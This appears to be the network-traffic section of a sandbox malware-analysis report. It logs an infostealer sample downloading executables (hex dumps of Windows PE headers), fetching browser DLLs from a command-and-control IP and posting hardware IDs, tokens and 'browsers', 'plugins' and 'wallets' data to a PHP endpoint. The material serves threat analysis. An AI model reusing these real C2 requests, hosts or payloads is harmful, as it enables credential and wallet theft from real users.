Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Fri, 06 Sep 2024 06:17:55 GMTContent-Type: application/octet-streamContent-Length: 353832Last-Modified: Thu, 05 Sep 2024 22:29:59 GMTConnection: keep-aliveETag: "66da30e7-56628"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ff 2f da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 34 05 00 00 0a 00 00 00 00 00 00 de 52 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 52 05 00 4b 00 00 00 00 60 05 00 14 06 00 00 00 00 00 00 00 00 00 00 00 40 05 00 28 26 00 00 00 80 05 00 0c 00 00 00 4c 52 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 32 05 00 00 20 00 00 00 34 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 00 60 05 00 00 08 00 00 00 36 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 05 00 00 02 00 00 00 3e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 52 05 00 00 00 00 00 48 00 00 00 02 00 05 00 28 26 00 00 88 17 00 00 03 00 02 00 0b 00 00 06 b0 3d 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5d 00 00 00 01 00 00 11 2b 05 28 f8 c3 60 65 7e 01 00 00 04 3a 4b 00 00 00 17 80 01 00 00 04 28 10 00 00 0a 20 e8 07 00 00 20 09 00 00 00 20 06 00 00 00 73 11 00 00 0a 28 12 00 00 0a fe 0e 00 00 fe 0d 00 00 28 13 00 00 0a 28 14 00 00 0a 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 15 00 00 0a 7a 2a 00 00 00 36 2b 05 28 08 e7 3d 4f 28 01 00 00 06 2a 00 00 4e 2b 05 28 e7 70 13 35 28 15 00 00 06 02 28 16 00 00 0a 2a fa 2b 05 28 45 ee 47 64 28 15 00 00 06 1f 10 8d 1c 00 00 01 25 d0 06 00 00 04 28 17 00 00 0a 80 02 00 00 04 20 00 f0 04 00 8d 1c 00 00 01 25 d0 07 00 00 04 28 17 00 00 0a 80 03 00 00 04 2a 00 6a 2b 05 28 2f 64 11 64 28 15 00 00 06 02 28 16 00 00 0a 02 03 28 06 00 00 06 2a 00 13 30 03 00 34 00 00 00 02 00 00 11 2b 05 28 a8 b7 52 62 03 0b 16 0c 38 12 00 00 00 07 08 6f 18 00 00 0a 0a 06 28 19 00 00 0a 08 17 58 0c 08 07 6f 1a 00 00 0a 3f e2 ff ff ff 28 1b 00 00 0a 2a 13 30 06 00 4b 02 00 00 03 00 00 11 20 00 01 00 00 8d 1c 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:18:08 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:18:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00

Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1Host: smkn2sumbawabesar.sch.idConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAAHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 2d 2d 0d 0a Data Ascii: ------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="build"default------IDGDAAKFHIEHIECAFBAA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"browsers------EBFHJEGDAFHIJKECFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGIHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="message"plugins------EBFBKFBGIIIDGDGCFCGI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"fplugins------FBFCAKKKFBGDGCAKFCFH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBFHost: 46.8.231.109Content-Length: 7603Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDHHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGIHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="file"------GDHIIIIEHCFIECAKFHJD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file"------JEBKJDAFHJDGDHJKKEGI--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"wallets------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 